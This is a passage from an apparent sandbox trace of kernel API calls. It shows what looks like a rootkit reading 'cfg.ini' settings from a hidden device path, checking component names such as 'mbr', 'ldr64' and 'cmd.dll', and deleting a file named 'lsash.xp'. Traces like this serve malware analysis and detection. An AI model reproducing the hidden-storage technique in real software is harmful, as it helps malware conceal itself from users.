VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.233] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.233] IdePortDispatch () returned 0x103 [0122.234] KeWaitForMutexObject () returned 0x0 [0122.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.234] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.234] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.234] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.234] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.234] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3090 [0122.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.234] KeLeaveCriticalRegion () [0122.234] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.234] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.234] KeEnterCriticalRegion () [0122.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.234] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.234] KeLeaveCriticalRegion () [0122.234] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.234] KeEnterCriticalRegion () [0122.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.234] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.234] IdePortDispatch () returned 0x103 [0122.234] KeWaitForMutexObject () returned 0x0 [0122.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.234] KeLeaveCriticalRegion () [0122.234] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.235] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.235] KeEnterCriticalRegion () [0122.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.235] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c55000 [0122.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.235] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.235] IdePortDispatch () returned 0x103 [0122.235] KeWaitForMutexObject () returned 0x0 [0122.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.235] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.235] IdePortDispatch () returned 0x103 [0122.235] KeWaitForMutexObject () returned 0x0 [0122.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.235] KeLeaveCriticalRegion () [0122.235] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.236] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.236] KeEnterCriticalRegion () [0122.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.236] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.236] KeLeaveCriticalRegion () [0122.236] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.236] KeEnterCriticalRegion () [0122.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.236] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.236] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.236] KeLeaveCriticalRegion () [0122.236] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.236] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.236] KeEnterCriticalRegion () [0122.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.236] ExFreePoolWithTag (P=0xfffffa8003be3090, Tag=0x0) [0122.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.236] KeLeaveCriticalRegion () [0122.236] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.236] ReleaseMutex (hMutex=0xf0) returned 1 [0122.236] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.236] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.236] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.236] KeEnterCriticalRegion () [0122.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.236] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.236] IdePortDispatch () returned 0x103 [0122.236] KeWaitForMutexObject () returned 0x0 [0122.237] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.237] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.237] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.237] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.237] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.237] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4ba0 [0122.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.237] KeLeaveCriticalRegion () [0122.237] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.237] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.237] KeEnterCriticalRegion () [0122.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.237] KeLeaveCriticalRegion () [0122.237] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.237] KeEnterCriticalRegion () [0122.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.237] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.237] IdePortDispatch () returned 0x103 [0122.237] KeWaitForMutexObject () returned 0x0 [0122.237] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.237] KeLeaveCriticalRegion () [0122.237] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.237] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.237] KeEnterCriticalRegion () [0122.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.237] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c56000 [0122.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.238] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.238] IdePortDispatch () returned 0x103 [0122.239] KeWaitForMutexObject () returned 0x0 [0122.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.239] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.239] IdePortDispatch () returned 0x103 [0122.239] KeWaitForMutexObject () returned 0x0 [0122.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.239] KeLeaveCriticalRegion () [0122.239] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.239] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.240] KeEnterCriticalRegion () [0122.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.240] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.240] KeLeaveCriticalRegion () [0122.240] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.240] KeEnterCriticalRegion () [0122.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.240] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.240] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.240] KeLeaveCriticalRegion () [0122.240] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.240] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.240] KeEnterCriticalRegion () [0122.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.240] ExFreePoolWithTag (P=0xfffffa8003be4ba0, Tag=0x0) [0122.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.240] KeLeaveCriticalRegion () [0122.240] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.240] ReleaseMutex (hMutex=0xf0) returned 1 [0122.240] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.240] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.240] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.240] KeEnterCriticalRegion () [0122.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.240] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.240] IdePortDispatch () returned 0x103 [0122.240] KeWaitForMutexObject () returned 0x0 [0122.240] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.240] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.240] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.240] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.240] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.241] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4fb0 [0122.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.241] KeLeaveCriticalRegion () [0122.241] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.241] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.241] KeEnterCriticalRegion () [0122.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.241] KeLeaveCriticalRegion () [0122.241] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.241] KeEnterCriticalRegion () [0122.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.241] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.241] IdePortDispatch () returned 0x103 [0122.241] KeWaitForMutexObject () returned 0x0 [0122.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.241] KeLeaveCriticalRegion () [0122.241] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.241] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.241] KeEnterCriticalRegion () [0122.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.241] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c57000 [0122.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.241] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.241] IdePortDispatch () returned 0x103 [0122.241] KeWaitForMutexObject () returned 0x0 [0122.242] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.242] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.242] IdePortDispatch () returned 0x103 [0122.242] KeWaitForMutexObject () returned 0x0 [0122.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.242] KeLeaveCriticalRegion () [0122.242] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.242] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.242] KeEnterCriticalRegion () [0122.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.242] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.242] KeLeaveCriticalRegion () [0122.243] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.243] KeEnterCriticalRegion () [0122.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.243] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.243] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.243] KeLeaveCriticalRegion () [0122.243] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.243] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.243] KeEnterCriticalRegion () [0122.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.243] ExFreePoolWithTag (P=0xfffffa8003be4fb0, Tag=0x0) [0122.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.243] KeLeaveCriticalRegion () [0122.243] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.243] ReleaseMutex (hMutex=0xf0) returned 1 [0122.243] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.243] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.243] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.243] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.243] KeEnterCriticalRegion () [0122.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.243] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.243] IdePortDispatch () returned 0x103 [0122.243] KeWaitForMutexObject () returned 0x0 [0122.243] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.243] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.243] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.243] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.243] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.243] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.243] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.243] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.243] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.243] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.244] KeLeaveCriticalRegion () [0122.244] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.244] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.244] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.244] KeEnterCriticalRegion () [0122.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 